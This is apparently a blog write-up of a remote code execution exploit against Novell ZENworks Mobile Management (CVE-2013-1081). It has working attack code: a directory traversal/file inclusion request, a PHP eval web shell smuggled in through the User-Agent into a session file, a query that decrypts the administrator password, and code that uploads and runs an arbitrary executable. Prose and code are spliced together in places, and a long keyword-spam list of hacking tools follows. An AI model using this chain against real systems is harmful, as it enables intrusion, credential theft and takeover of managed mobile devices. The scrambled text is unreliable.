I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.
Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]
"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."
POST /DUSAP.php HTTP/1.1Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=
<?php
session_start();
$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';
if ($Language !== '' && $Language != $_SESSION["language"])
{
//check for validity
if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
{
$_SESSION["language"] = $Language;
}
}
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);
- Check if the "language" parameter is passed in on the request
- If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
- The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
- If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
- If the session variable "language" is set, include it into the page
- Authenticate
So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:
$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;
egrep -R '\$_SESSION\[.*\] =' ./
/desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
<?phpThe first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)
session_start();
if (isset($_SESSION["language"]))
{
require_once( $_SESSION["language"]);
} else
{
require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);
$ext = substr(strrchr($filename, '.'), 1);
if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey'] > 0)
{
} else
{
$_SESSION['$error'] = LOGIN_FAILED_TEXT;
header('Location: index.php');
}
This will create a session file named "sess_payload" that we can include, the file contains the following:
user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:
return mdm_DecryptData($result[0]['Password']);Ends up it is magic – so I sent the following PHP to be executed on the server -
$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);
Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….
$wdir=getcwd()."\..\..\php\\\\temp\\\\";This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));
$wdir=getcwd()."\..\..\php\\\\temp\\\\";The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
$output=explode("\\n",+stream_get_contents($pipes[1]));
fclose($pipes[1]);
proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};
Update: Metasploit modules are now available as part of metasploit.
- Pentest Tools Free
- Hacking Tools For Windows 7
- Best Hacking Tools 2019
- Pentest Tools For Android
- Pentest Tools Nmap
- Pentest Tools Website Vulnerability
- Tools Used For Hacking
- Hack Tools
- Hacker Tools Online
- Hacker
- How To Hack
- New Hack Tools
- Pentest Recon Tools
- Pentest Tools Website Vulnerability
- Hacker Tools Github
- Best Pentesting Tools 2018
- Kik Hack Tools
- Hacker Tools List
- Pentest Tools Apk
- Hack Rom Tools
- Pentest Tools Open Source
- Hacking Tools Pc
- Nsa Hacker Tools
- Hacking Tools For Beginners
- Tools 4 Hack
- Android Hack Tools Github
- Termux Hacking Tools 2019
- World No 1 Hacker Software
- Pentest Tools Download
- Hacker Tools Hardware
- World No 1 Hacker Software
- Hacking Tools Hardware
- Pentest Tools Download
- Black Hat Hacker Tools
- Hack Tools Pc
- Hacking Tools Online
- Hacking Tools Download
- Hacking Tools Hardware
- Pentest Tools Find Subdomains
- Hacking Tools Windows
- Pentest Tools For Mac
- Pentest Tools Free
- Pentest Tools Download
- Hacking Tools Pc
- Hacking Tools And Software
- Pentest Recon Tools
- Hacker Tool Kit
- Pentest Tools Website
- Hack Tools For Games
- Pentest Tools Nmap
- Hacking Tools Name
- Best Hacking Tools 2019
- Pentest Tools Kali Linux
- Hack Website Online Tool
- Ethical Hacker Tools
- Pentest Recon Tools
- Game Hacking
- Game Hacking
- Tools For Hacker
- Hack Rom Tools
- Hacking Tools Hardware
- Wifi Hacker Tools For Windows
- Hacking Tools Name
- Tools For Hacker
- Blackhat Hacker Tools
- Hack Tools Download
- Nsa Hack Tools Download
- Hacking Tools Usb
- Pentest Tools Bluekeep
- Hack Tools
- Top Pentest Tools
- Wifi Hacker Tools For Windows
- Hacker Tools Online
- Pentest Tools Windows
- Top Pentest Tools
- Hack Tools Pc
- Pentest Tools Subdomain
- Hacking Tools Pc
- Hacker Tool Kit
- Hacking Tools Software
- Pentest Tools Bluekeep
- Hacking Tools Kit
- Hacker Hardware Tools
- Hacker Tools For Pc
- Hacker
- Hacking Apps
- Android Hack Tools Github
- Hacking Tools Usb
- Hack Rom Tools
- Hacker
- Hacking Tools For Windows Free Download
- Best Hacking Tools 2019
- Hacking Tools And Software
- Hak5 Tools
- Hacking Apps
- Hacking Tools Pc
- Pentest Tools Bluekeep
- Nsa Hack Tools
- Pentest Tools For Android
- Pentest Tools Kali Linux
- New Hacker Tools
- New Hack Tools
- Pentest Tools Tcp Port Scanner
- Hacking Tools Pc
- Hacker Tools For Windows
- Android Hack Tools Github
- Usb Pentest Tools
- Pentest Tools Github
- Hacker Techniques Tools And Incident Handling
- Hack Tools Mac
- Pentest Tools Open Source
- How To Hack
- Hacking Tools Online
- Hacker Tools List
- Hacker Tools
- Hacking Tools Download
- Hacking Tools For Kali Linux
- How To Hack
- Hacking Tools For Windows 7
- Hacking Tools Download
- Github Hacking Tools
- Hacker Tools For Windows
- Hacker Tools Hardware
- Best Hacking Tools 2019
- Hacker Tools For Ios
- Free Pentest Tools For Windows
- Hack Tools
- Hacker Tools For Ios
- Hack Apps
- Hacking Tools Windows 10
- Hack Tools Github
- Pentest Tools Framework
- Pentest Tools For Ubuntu
- Hack App
- Hacker Techniques Tools And Incident Handling
- Hack Website Online Tool
- Hack Tools Online
- Hacker Search Tools
- Hacker Tools Hardware
- Hacker Search Tools
- Hack Tools Online
- Hacker Hardware Tools
- Hackers Toolbox
- Hacker Search Tools
- Hack App
- Hacking Tools And Software
- Computer Hacker
- Pentest Tools Subdomain
- Hacking Tools Hardware
- Hacking Tools Windows
- Computer Hacker
- Hacking Tools
- Hack Tool Apk
- Hacker Tools Apk
- Tools 4 Hack
- Hacking Tools 2020
- New Hacker Tools
- Hack Tools
- Pentest Recon Tools
- Hacker Tools Github
- Hacker Tools Free
- Pentest Tools Windows
- Hackrf Tools
- Hacking Tools Free Download
- Hack Apps
- Hacker Tools For Mac
- Hacking Tools 2019
- Hacking Tools For Pc
- Growth Hacker Tools
- Pentest Tools Framework
No comments:
Post a Comment